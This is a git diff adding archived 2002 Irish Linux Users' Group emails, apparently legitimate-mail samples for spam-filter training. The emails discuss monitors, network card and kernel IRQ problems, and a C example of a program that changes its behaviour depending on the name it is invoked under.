?) getting a monitor with a DVI input is best. Of course, you'll need +> a DVI out video card then, too. DVI provides a much better picture than VGA + +I guess that requires something more in the way of budget then... Given +that this monitor was serving as the single monitor for 4 boxen (via a +4-way vga KVM switch), I'd be looking at investing in 4 DVI cards along +with another KVM to suit while a VGA version _should_ just plug into +place. + +Conor +-- +Conor Daly + +Domestic Sysadmin :-) +--------------------- +Faenor.cod.ie + 5:20pm up 72 days, 2:37, 0 users, load average: 0.08, 0.02, 0.01 +Hobbiton.cod.ie + 5:19pm up 14 days, 23:42, 1 user, load average: 0.01, 0.04, 0.00 + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00249.7187413684e619f7f3ce94c76f56c9b0 b/bayes/spamham/easy_ham_2/00249.7187413684e619f7f3ce94c76f56c9b0 new file mode 100644 index 0000000..42b0b60 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00249.7187413684e619f7f3ce94c76f56c9b0 @@ -0,0 +1,79 @@ +From ilug-admin@linux.ie Tue Aug 6 11:52:47 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 22D8D441E5 + for ; Tue, 6 Aug 2002 06:48:20 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:48:20 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g73Jm8v25099 for + ; Sat, 3 Aug 2002 20:48:08 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id UAA12407; Sat, 3 Aug 2002 20:45:52 +0100 +Received: from claymore.diva.ie (diva.ie [195.218.115.17] (may be forged)) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id UAA12373 for + ; Sat, 3 Aug 2002 20:45:45 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host diva.ie [195.218.115.17] + (may be forged) claimed to be claymore.diva.ie +Received: from localhost (claymore [195.218.115.17]) by claymore.diva.ie + (8.9.3/8.9.3) with ESMTP id UAA31402 for ; Sat, + 3 Aug 2002 20:45:44 +0100 +Received: from 194.125.148.160 ( [194.125.148.160]) as user + rcunniff@mail.boxhost.net by webmail.gameshrine.com with HTTP; + Sat, 3 Aug 2002 20:45:44 +0100 +Message-Id: <1028403944.3d4c32e8a44c7@webmail.gameshrine.com> +Date: Sat, 3 Aug 2002 20:45:44 +0100 +From: Ronan Cunniffe +To: ilug@linux.ie +Subject: Re: [ILUG] Network problems +References: <1028383169.2214.20.camel@gamma.eko.ie> +In-Reply-To: <1028383169.2214.20.camel@gamma.eko.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=ISO-8859-1 +Content-Transfer-Encoding: 8bit +User-Agent: Internet Messaging Program (IMP) 3.0 +X-Originating-Ip: 194.125.148.160 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Quoting Eamonn Shinners : + +> Hi guys, +> I'm looking for help on this one. I have a server with SME5.5 installed +> - used to be e-smith. It's based on RH7.1, has a 3c507 NIC, and is +> connected to a hub. Also connected to the hub are a laptop and +> workstation, both with RH7.3 . The server supplies DHCP amongst other +> things. +> The problem is interruptions in the network. If I ping the laptop from +> the workstation, or the other way around, there are no problems, i.e. +> shows up as 0% loss. If however I ping the server from the laptop or +> workstation, it will do a few packets, anywhere from 3 to 20, and then +> stop responding, it will start again after a little while. + +If this is new behaviour in a previously working network, what did you do to it? + + Test the cables by switching which machine has which. + Test the hub ports by switching cables around. + Run ifconfig on the server - any errors and what kind they are. + Test the network card... by replacing the thing! + +Seriously, if the server has a PCI slot free, something like a Realtek 8139 +based card costs less than 20 euro. The design is a couple of generations later +- more memory, less cruft, no *FSCKING* dos config utility, no jumpers on the +card and it's PCI. + +Ronan. + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00250.6178c7f226315407d684f07aa197261b b/bayes/spamham/easy_ham_2/00250.6178c7f226315407d684f07aa197261b new file mode 100644 index 0000000..b7d5cf1 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00250.6178c7f226315407d684f07aa197261b @@ -0,0 +1,58 @@ +From ilug-admin@linux.ie Tue Aug 6 11:52:57 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D111B441E6 + for ; Tue, 6 Aug 2002 06:48:20 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:48:20 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g74AuEv25509 for + ; Sun, 4 Aug 2002 11:56:14 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA16318; Sun, 4 Aug 2002 11:54:14 +0100 +Received: from mail.aculink.net (65-173-158-7.aculink.net [65.173.158.7]) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id LAA16281 for + ; Sun, 4 Aug 2002 11:54:07 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host 65-173-158-7.aculink.net + [65.173.158.7] claimed to be mail.aculink.net +Received: from ([204.118.157.69]) by mail.aculink.net (Merak 4.4.2) with + SMTP id EDA37003 for ; Sun, 04 Aug 2002 05:01:15 -0600 +Received: (from redneck@localhost) by cdm01.deedsmiscentral.net + (8.11.6/8.11.6/ver) id g74AaBr31977; Sun, 4 Aug 2002 04:36:11 -0600 +Date: Sun, 4 Aug 2002 04:36:11 -0600 +Message-Id: <200208041036.g74AaBr31977@cdm01.deedsmiscentral.net> +X-No-Archive: yes +From: SoloCDM +Reply-To: , +To: ILUG (Request) +Subject: [ILUG] One Command -- Four Types +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +I tried several ways to force the command ln to create a link with +an option attached . . . it wouldn't work. + +How are there four (/bin/dnsdomainname /bin/domainname +/bin/nisdomainname /bin/ypdomainname) different types of hostname +links with their own separate options? + +-- +Note: When you reply to this message, please include the mailing + list and/or newsgroup address and my email address in To: + +********************************************************************* +Signed, +SoloCDM + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00251.c5d9eca7f5a2aabbb152e26bef36eb55 b/bayes/spamham/easy_ham_2/00251.c5d9eca7f5a2aabbb152e26bef36eb55 new file mode 100644 index 0000000..5d8a93b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00251.c5d9eca7f5a2aabbb152e26bef36eb55 @@ -0,0 +1,151 @@ +From ilug-admin@linux.ie Tue Aug 6 11:53:18 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1A320441E8 + for ; Tue, 6 Aug 2002 06:48:22 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:48:22 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g74BcHv26639 for + ; Sun, 4 Aug 2002 12:38:17 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA18508; Sun, 4 Aug 2002 12:36:24 +0100 +Received: from mel-rto2.wanadoo.fr (smtp-out-2.wanadoo.fr + [193.252.19.254]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id MAA18475 + for ; Sun, 4 Aug 2002 12:36:18 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host smtp-out-2.wanadoo.fr + [193.252.19.254] claimed to be mel-rto2.wanadoo.fr +Received: from mel-rta8.wanadoo.fr (193.252.19.79) by mel-rto2.wanadoo.fr + (6.5.007) id 3D49FBEC000CB353 for ilug@linux.ie; Sun, 4 Aug 2002 13:35:46 + +0200 +Received: from bolsh.wanadoo.fr (80.8.224.71) by mel-rta8.wanadoo.fr + (6.5.007) id 3D49FF79000BE9E5 for ilug@linux.ie; Sun, 4 Aug 2002 13:35:46 + +0200 +Received: from dave by bolsh.wanadoo.fr with local (Exim 3.32 #1 (Debian)) + id 17bJkP-0005ty-00 for ; Sun, 04 Aug 2002 13:40:33 +0200 +Date: Sun, 4 Aug 2002 13:40:33 +0200 +From: David Neary +To: ILUG +Subject: Re: [ILUG] One Command -- Four Types +Message-Id: <20020804134033.A22333@wanadoo.fr> +References: <200208041036.g74AaBr31977@cdm01.deedsmiscentral.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-15 +Content-Disposition: inline +In-Reply-To: <200208041036.g74AaBr31977@cdm01.deedsmiscentral.net> +User-Agent: Mutt/1.3.23i +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +SoloCDM wrote: +> How are there four (/bin/dnsdomainname /bin/domainname +> /bin/nisdomainname /bin/ypdomainname) different types of hostname +> links with their own separate options? + +The program has different behaviour depending on the value of +argv[0], probably... + +here's a simple example... + +#include +#include +#include + +long int add(long int a, long int b) +{ + return a+b; +} + +long int subtract(long int a, long int b) +{ + return a-b; +} + +int main(int argc, char **argv) +{ + long int a, b; /* Operands */ + long int (*operation)(long int a, long int b); + char *progname, *marker; + + if(argc != 3) + { + fprintf(stderr, "Usage: %s [int1] [int2]\n", argv[0]); + exit(1); + } + + progname = strrchr(argv[0], '/'); + if(progname == NULL) + progname = argv[0]; + else + progname ++; /* Skip past the '/' */ + + if(strcmp(progname, "add") == 0) + { + operation = add; + } + else if (strcmp(progname, subtract) == 0) + { + operation = subtract; + } + else + { + fprintf(stderr, "Program called with invalid " + "name %s. Quitting.\n", argv[0]); + exit(1); + } + + a = strtol(argv[1], &marker, 0); /* Use base 16 for args + * starting 0x, and base 8 for + * args starting 0 */ + if(*marker != '\0') + { + fprintf(stderr, "Invalid character %c in argument %s.\n", + *marker, argv[1]); + exit(1); + } + + b = strtol(argv[2], &marker, 0); /* Use base 16 for args + * starting 0x, and base 8 for + * args starting 0 */ + if(*marker != '\0') + { + fprintf(stderr, "Invalid character %c in argument %s.\n", + *marker, argv[2]); + exit(1); + } + + printf("%ld %c %ld = %ld\n", + a, + (operation == add)?'+':'-', + b, + operation(a, b)); + + return 0; +} + +Say that's in operation.c, compile it using + +gcc -ansi -pedantic -Wall -W -O2 -o add operation.c +and then +ln add subtract +and run both, with appropriate arguments. + + + +-- + David Neary, + Marseille, France + E-Mail: bolsh@gimp.org + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00252.817dc86471c7bd29d5904872f1731d57 b/bayes/spamham/easy_ham_2/00252.817dc86471c7bd29d5904872f1731d57 new file mode 100644 index 0000000..92cf755 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00252.817dc86471c7bd29d5904872f1731d57 @@ -0,0 +1,59 @@ +From ilug-admin@linux.ie Tue Aug 6 11:53:13 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 71A11441E7 + for ; Tue, 6 Aug 2002 06:48:21 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:48:21 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g74BENv26148 for + ; Sun, 4 Aug 2002 12:14:23 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA17135; Sun, 4 Aug 2002 12:12:12 +0100 +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id MAA17082 for ; + Sun, 4 Aug 2002 12:12:02 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host mail.webnote.net + [193.120.211.219] claimed to be webnote.net +Received: (from lbedford@localhost) by webnote.net (8.9.3/8.9.3) id + MAA11216; Sun, 4 Aug 2002 12:12:01 +0100 +Message-Id: <20020804121201.A11194@mail.webnote.net> +Date: Sun, 4 Aug 2002 12:12:01 +0100 +From: lbedford@lbedford.org +To: deedsmis@aculink.net, ilug@linux.ie +Subject: Re: [ILUG] One Command -- Four Types +References: <200208041036.g74AaBr31977@cdm01.deedsmiscentral.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +X-Mailer: Mutt 0.93.2 +In-Reply-To: <200208041036.g74AaBr31977@cdm01.deedsmiscentral.net>; + from SoloCDM on Sun, Aug 04, 2002 at 04:36:11AM -0600 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Sun, Aug 04, 2002 at 04:36:11AM -0600, SoloCDM wrote: +> I tried several ways to force the command ln to create a link with +> an option attached . . . it wouldn't work. +> +> How are there four (/bin/dnsdomainname /bin/domainname +> /bin/nisdomainname /bin/ypdomainname) different types of hostname +> links with their own separate options? +> +There's a switch statement in the program on argv[0]. + +It's not including any options in the link. + +L. + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00253.e8d95ebfdb730a968cd7430b93f526e6 b/bayes/spamham/easy_ham_2/00253.e8d95ebfdb730a968cd7430b93f526e6 new file mode 100644 index 0000000..171b8db --- /dev/null +++ b/bayes/spamham/easy_ham_2/00253.e8d95ebfdb730a968cd7430b93f526e6 @@ -0,0 +1,65 @@ +From ilug-admin@linux.ie Tue Aug 6 11:53:34 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E293C441E9 + for ; Tue, 6 Aug 2002 06:48:22 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:48:22 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g74CGQv27599 for + ; Sun, 4 Aug 2002 13:16:26 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA20040; Sun, 4 Aug 2002 13:14:31 +0100 +Received: from netsoc.ucd.ie (orca.ucd.ie [137.43.4.16]) by + lugh.tuatha.org (8.9.3/8.9.3) with SMTP id NAA20004 for ; + Sun, 4 Aug 2002 13:14:25 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host orca.ucd.ie [137.43.4.16] + claimed to be netsoc.ucd.ie +Received: (qmail 92728 invoked by uid 515); 4 Aug 2002 12:14:27 -0000 +Date: Sun, 4 Aug 2002 13:14:27 +0100 +From: Albert White +To: ilug@linux.ie +Message-Id: <20020804121426.GA92548@orca.ucd.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.4i +Subject: [ILUG] 3c509 & 2.4.19 problems +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Hi folks, + +I decided to upgrade the kernel on a machine at home from 2.2.18pre21 to the latest from kernel.org which is 2.4.19. + +However I have encountered one problem, my network card now dosent work, well kind of dosent work... + +Instead of one eth0 on IRQ 10 I now get: +Aug 4 11:31:51 mira kernel: eth0: 3c5x9 at 0x220, 10baseT port, address 00 10 5a 3e 0e 48, IRQ 5. +Aug 4 11:31:51 mira kernel: 3c509.c:1.18 12Mar2001 becker@scyld.com +Aug 4 11:31:51 mira kernel: http://www.scyld.com/network/3c509.html +Aug 4 11:31:51 mira kernel: eth1: 3c5x9 at 0x300, 10baseT port, address 00 10 5a be 0e 48, IRQ 10. +Aug 4 11:31:51 mira kernel: 3c509.c:1.18 12Mar2001 becker@scyld.com +Aug 4 11:31:51 mira kernel: http://www.scyld.com/network/3c509.html + +This results in the interface(s) coming up but while packets can go out they can not come in. + +I've tried not loading the 3c509 mdule on bootup and then `modload 3c509 IRQ=10` bit it still gets loaded as above, on IRQ 5 and 10. On 2.2 it loads to IRQ 10. + +Anyone got any suggestions on what to do here? Its a debian 3.0 distro. This works fine when booted to 2.2 so the hardware/BIOS etc seem ok, so it seems to be 2.4 spacific. Have I missed some kernel setting? + +Cheers, +~Al + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00254.0bb63181d3edda61bd5ff0314649b817 b/bayes/spamham/easy_ham_2/00254.0bb63181d3edda61bd5ff0314649b817 new file mode 100644 index 0000000..d492221 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00254.0bb63181d3edda61bd5ff0314649b817 @@ -0,0 +1,85 @@ +From ilug-admin@linux.ie Tue Aug 6 11:53:51 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 818F9441EB + for ; Tue, 6 Aug 2002 06:48:25 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:48:25 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g74Hx9v03954 for + ; Sun, 4 Aug 2002 18:59:09 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id SAA31096; Sun, 4 Aug 2002 18:56:25 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail04.svc.cra.dublin.eircom.net + (mail04.svc.cra.dublin.eircom.net [159.134.118.20]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id SAA31063 for ; Sun, + 4 Aug 2002 18:56:20 +0100 +From: cout@eircom.net +Message-Id: <200208041756.SAA31063@lugh.tuatha.org> +Received: (qmail 78155 messnum 1117230 invoked from + network[159.134.237.75/jimbo.eircom.net]); 4 Aug 2002 17:55:49 -0000 +Received: from jimbo.eircom.net (HELO webmail.eircom.net) (159.134.237.75) + by mail04.svc.cra.dublin.eircom.net (qp 78155) with SMTP; 4 Aug 2002 + 17:55:49 -0000 +To: ilug@linux.ie +Subject: Re: [ILUG] 3c509 & 2.4.19 problems +Date: Sun, 4 Aug 2002 18:55:49 +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 8bit +X-Originating-Ip: 213.190.156.48 +X-Mailer: Eircom Net CRC Webmail (http://www.eircom.net/) +Organization: Eircom Net (http://www.eircom.net/) +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +You need to run the dos setup program for the 3c509 and turn off plug 'n' play in the card's firmware I think you will find. + +Bod + +> +> Hi folks, +> +> I decided to upgrade the kernel on a machine at home from 2.2.18pre21 to the latest from kernel.org which is 2.4.19. +> +> However I have encountered one problem, my network card now dosent work, well kind of dosent work... +> +> Instead of one eth0 on IRQ 10 I now get: +> Aug 4 11:31:51 mira kernel: eth0: 3c5x9 at 0x220, 10baseT port, address 00 10 5a 3e 0e 48, IRQ 5. +> Aug 4 11:31:51 mira kernel: 3c509.c:1.18 12Mar2001 becker@scyld.com +> Aug 4 11:31:51 mira kernel: http://www.scyld.com/network/3c509.html +> Aug 4 11:31:51 mira kernel: eth1: 3c5x9 at 0x300, 10baseT port, address 00 10 5a be 0e 48, IRQ 10. +> Aug 4 11:31:51 mira kernel: 3c509.c:1.18 12Mar2001 becker@scyld.com +> Aug 4 11:31:51 mira kernel: http://www.scyld.com/network/3c509.html +> +> This results in the interface(s) coming up but while packets can go out they can not come in. +> +> I've tried not loading the 3c509 mdule on bootup and then `modload 3c509 IRQ=10` bit it still gets loaded as above, on IRQ 5 and 10. On 2.2 it loads to IRQ 10. +> +> Anyone got any suggestions on what to do here? Its a debian 3.0 distro. This works fine when booted to 2.2 so the hardware/BIOS etc seem ok, so it seems to be 2.4 spacific. Have I missed some kernel setting? +> +> Cheers, +> ~Al +> +> -- +> Irish Linux Users' Group: ilug@linux.ie +> http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +> List maintainer: listmaster@linux.ie +> + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00255.10e322e983fa6a8357a4038e832e64a5 b/bayes/spamham/easy_ham_2/00255.10e322e983fa6a8357a4038e832e64a5 new file mode 100644 index 0000000..1609822 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00255.10e322e983fa6a8357a4038e832e64a5 @@ -0,0 +1,108 @@ +From ilug-admin@linux.ie Tue Aug 6 11:53:53 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B01EA441EC + for ; Tue, 6 Aug 2002 06:48:26 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:48:26 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g74IR1v04830 for + ; Sun, 4 Aug 2002 19:27:01 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id TAA32249; Sun, 4 Aug 2002 19:24:44 +0100 +Received: from tcob1.net (d-airlock229.esatclear.ie [194.145.133.229]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id TAA32220 for ; + Sun, 4 Aug 2002 19:24:37 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host d-airlock229.esatclear.ie + [194.145.133.229] claimed to be tcob1.net +Received: from tcob1.net ([192.168.0.1]) by tcob1.net with esmtp (Exim + 4.10) id 17bQ3P-0007Vz-00 for ilug@linux.ie; Sun, 04 Aug 2002 19:24:35 + +0100 +Received: from sean by tcob1.net with local (Exim 4.02) id + 17bQ3G-0004wF-00 for ilug@linux.ie; Sun, 04 Aug 2002 19:24:26 +0100 +To: ilug@linux.ie +Subject: Re: [ILUG] 3c509 & 2.4.19 problems +References: <20020804121426.GA92548@orca.ucd.ie> +From: Sean Rima +Organization: TCOB1 a Fidonet BBS in Ireland +X-Gnupg-Keyid: 9669DC4F +X-Gnupg-Fingerprint: 1974 09D0 6539 2399 A4CF 9B71 791F CBD9 9669 DC4F +X-Attribution: SR +X-Url: +X-Operating-System: i586-pc-linux-gnu +X-Face: Tr`5dV#p:=3L$zY|xiI@)Z2Za*_U[B3) +Date: Sun, 04 Aug 2002 19:24:23 +0100 +In-Reply-To: <20020804121426.GA92548@orca.ucd.ie> (Albert White's message + of + "Sun, 4 Aug 2002 13:14:27 +0100") +Message-Id: +User-Agent: Gnus/5.090008 (Oort Gnus v0.08) Emacs/21.2 (i586-pc-linux-gnu) +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) + *17bQ3P-0007Vz-00*wPfgMoISSJ6* +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +-----BEGIN PGP SIGNED MESSAGE----- +Hash: SHA1 + +On Sun, 4 Aug 2002, Albert White stated: + +> Hi folks, +> +> I decided to upgrade the kernel on a machine at home from 2.2.18pre21 +> to the latest from kernel.org which is 2.4.19. +> +> However I have encountered one problem, my network card now dosent +> work, well kind of dosent work... +> +> Instead of one eth0 on IRQ 10 I now get: +> Aug 4 11:31:51 mira kernel: eth0: 3c5x9 at 0x220, 10baseT port, +> Aug 4 11:31:51 mira kernel: address 00 10 5a 3e 0e 48, IRQ 5. +> Aug 4 11:31:51 mira kernel: 3c509.c:1.18 12Mar2001 becker@scyld.com +> Aug 4 11:31:51 mira kernel: http://www.scyld.com/network/3c509.html +> Aug 4 11:31:51 mira kernel: eth1: 3c5x9 at 0x300, 10baseT port, +> Aug 4 11:31:51 mira kernel: address 00 10 5a be 0e 48, IRQ 10. +> Aug 4 11:31:51 mira kernel: 3c509.c:1.18 12Mar2001 becker@scyld.com +> Aug 4 11:31:51 mira kernel: http://www.scyld.com/network/3c509.html +> +> This results in the interface(s) coming up but while packets can go +> out they can not come in. +> +> I've tried not loading the 3c509 mdule on bootup and then `modload +> 3c509 IRQ=10` bit it still gets loaded as above, on IRQ 5 and 10. On +> 2.2 it loads to IRQ 10. +> + +I have been unable to get the 3c509 to work with 2.4.19 with an IRQ of +10 which works in 2.2.x okay. Can you use anyother irq for it. + +Sean + +- -- + Sean Rima http://www.tcob1.net + Linux User: 231986 Jabber: tcobone@jabber.org + THE VIEWS EXPRESSED HERE ARE NOT NECESSARILY THOSE OF MY WIFE. +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.7 (GNU/Linux) +Comment: Use GPG for Secure Mail + +iD8DBQE9TXFWHMnSWn2nApQRAg9VAKCOMO6oSAD8x6rkTl9QCvcD63vohACgtzPU +GWvz7cAuETfHwCouOW0NNIY= +=etR9 +-----END PGP SIGNATURE----- + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00256.0e664e0210522f7788b27eb1ad9b8c87 b/bayes/spamham/easy_ham_2/00256.0e664e0210522f7788b27eb1ad9b8c87 new file mode 100644 index 0000000..00c5875 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00256.0e664e0210522f7788b27eb1ad9b8c87 @@ -0,0 +1,75 @@ +From ilug-admin@linux.ie Tue Aug 6 11:54:07 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 99A37441ED + for ; Tue, 6 Aug 2002 06:48:27 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:48:27 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g74Iarv05080 for + ; Sun, 4 Aug 2002 19:36:53 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id TAA32724; Sun, 4 Aug 2002 19:34:31 +0100 +Received: from ie.suberic.net (owsla.ie.suberic.net [62.17.162.83]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id TAA32695 for ; + Sun, 4 Aug 2002 19:34:24 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host owsla.ie.suberic.net + [62.17.162.83] claimed to be ie.suberic.net +Received: from owsla.ie.suberic.net (owsla [127.0.0.1]) by ie.suberic.net + (8.11.6/8.11.6) with ESMTP id g74IYMY18883 for ; + Sun, 4 Aug 2002 19:34:22 +0100 +Date: Sun, 4 Aug 2002 19:34:16 +0100 +To: cout@eircom.net +Cc: ilug@linux.ie +Subject: Re: [ILUG] 3c509 & 2.4.19 problems +Message-Id: <20020804193416.A18343@ie.suberic.net> +References: <200208041756.SAA31063@lugh.tuatha.org> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: <200208041756.SAA31063@lugh.tuatha.org>; from cout@eircom.net + on Sun, Aug 04, 2002 at 06:55:49PM +0100 +X-Operating-System: Linux 2.4.18-5 i686 